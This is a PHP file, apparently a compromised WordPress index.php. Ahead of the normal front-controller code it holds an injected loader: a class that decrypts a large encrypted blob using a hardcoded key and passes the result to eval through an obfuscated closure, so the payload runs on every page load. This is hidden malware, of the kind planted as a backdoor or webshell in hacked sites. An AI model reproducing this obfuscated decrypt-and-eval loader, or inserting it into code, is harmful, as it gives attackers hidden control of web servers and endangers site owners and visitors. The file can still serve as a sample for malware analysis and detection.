?masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9'); $str = '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'; $decrypted = $secure->decrypt($str); $WwOy9ISIfCh7mF = function($w9awNt1sJNK87){ /*A2s9d5f*/eVaL($w9awNt1sJNK87); $mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK"; return $mXM0ar3y76T; }; $WwOy9ISIfCh7mF($decrypted); /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';